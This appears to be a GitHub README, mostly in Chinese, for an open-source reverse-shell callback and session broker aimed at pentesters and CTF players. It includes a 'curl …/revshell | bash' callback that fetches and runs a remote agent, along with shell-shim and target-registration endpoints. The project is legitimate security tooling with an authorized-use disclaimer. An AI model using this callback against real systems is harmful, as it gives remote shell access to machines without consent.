nmagill123/revshells-io
GitHub: nmagill123/revshells-io
一个开源的反弹Shell会话代理SaaS平台,让渗透测试和CTF参赛者无需公网IP即可通过HTTPS接收和管理目标回调会话。
Stars: 5 | Forks: 0
# [revshells.io](https://revshells.io)
用于授权渗透测试、CTF 或家庭实验室的回调/会话代理。目标端通过 HTTPS 回调,操作员从浏览器或 CLI 接入。
如果你和我一样,因为需要一个公网 IP 来接收回调而觉得反弹 shell 很麻烦,那么这就是你的解决方案。
这目前仍是一个开发中(WIP)的项目;网站和代码会尽最大努力进行维护。
## 构建
CI 为以下平台构建了静态的 **rsd**、**rsctl** 和 **rs-agent**:
| 标签 | GOOS / GOARCH |
|-------|----------------|
| linux-amd64 (x86_64) | linux / amd64 |
| linux-arm64 (aarch64) | linux / arm64 |
| linux-386 (x86) | linux / 386 |
| darwin-amd64 (x86_64) | darwin / amd64 |
| darwin-arm64 (aarch64) | darwin / arm64 |
```
make all # rsd, rsctl, and cross-compiled rs-agent binaries
# 或
go build -o rsd ./cmd/rsd
go build -o rsctl ./cmd/rsctl
make agents # required: agents-bin/linux-amd64, linux-arm64, ...
```
## 运行
```
./rsd --listen :8080 --public-url https://rs.example.com --db rsd.db --agents-dir agents-bin
```
`--agents-dir` 必须包含通过 `make agents` 生成的 `rs-agent` 构建版本(除非使用 `--agents-git`)。
**在启动时从 GitHub releases 填充 `agents-dir`**(目标端仍然从你的服务器获取 agents):
```
./rsd --listen :8080 --public-url https://revshells.io --agents-dir agents-bin --agents-git
# 固定一个 release:
./rsd --listen :8080 --public-url https://revshells.io --agents-git --agents-git-tag v0.1.0
```
将例如 [rs-agent-linux-arm64-aarch64](https://github.com/nmagill123/revshells-io/releases/download/v0.1.0/rs-agent-linux-arm64-aarch64) 下载到 `agents-bin/linux-arm64` 中。回调脚本保持不变:`curl …/revshell | bash` → `$SERVER/$SESSION/agent/$PLATFORM`。
回调 URL 使用请求的 `Host` 头(这样 Docker 目标就可以使用 `host.docker.internal:8080` 而无需编辑脚本)。
`--max-sessions-per-workspace`(默认为 `12`)限制了每个工作空间可以创建的活跃会话数量。
## CLI
```
# 从 http://localhost:8080/ (rsctl panel) 获取 token,然后:
rsctl login http://localhost:8080
# 列出 session
rsctl list
# Attach (通过 WebSocket 的 raw terminal)
rsctl attach
# 终止 session
rsctl kill
```
## 浏览器 UI
打开 `http://localhost:8080/` 进入**会话中心**:
- **New session** 会创建另一个 UUID(在 localStorage 中存储多个会话)
- **rsctl** — 生成工作空间 CLI token(有效期 24 小时,仅限你在此浏览器中创建的会话)
- 会话列表在连接后会显示目标信息:user@host、OS、kernel
- **浅色/深色模式**、免责声明弹窗
## 模式
| 模式 | 传输方式 | PTY | 方式 |
|------|-----------|-----|-----|
| 交互式 PTY | WebSocket | 是 | 目标端运行带有 PTY 的 Go/Python agent |
| 命令通道 | HTTP 轮询 | 否 | 目标端轮询获取命令,并发送结果 |
| 一次性事件 | HTTP POST | 否 | 单次 POST,无实时会话 |
系统会根据目标端在注册期间报告的内容进行自动检测。
## 会话
- 6 小时的非活动 TTL(任何交互都会重置计时器)
- 多个目标端可以回调到同一个会话 UUID
- 多个操作员可以同时接入
## API
```
POST /api/sessions create session (bearer auth)
GET /api/sessions list sessions (bearer auth)
GET /api/sessions/:id session detail (bearer auth)
DELETE /api/sessions/:id kill session (bearer auth)
POST /s/:id/:secret/register target registers capabilities
GET /s/:id/:secret/poll long-poll (30s block)
POST /s/:id/:secret/push target posts output
POST /s/:id/:secret/event one-shot event
WS /s/:id/:secret/connect target WebSocket (PTY or command)
WS /s/:id/attach operator WebSocket (bearer or cookie auth)
GET /s/:id/:secret/sh bash shim
GET /s/:id/:secret/py python shim
```
## 存储
BBolt(单文件,`rsd.db`)。无外部依赖。
仅用于授权的安全测试和实验室环境。
标签:EVTX分析, 日志审计, 请求拦截, 逆向工具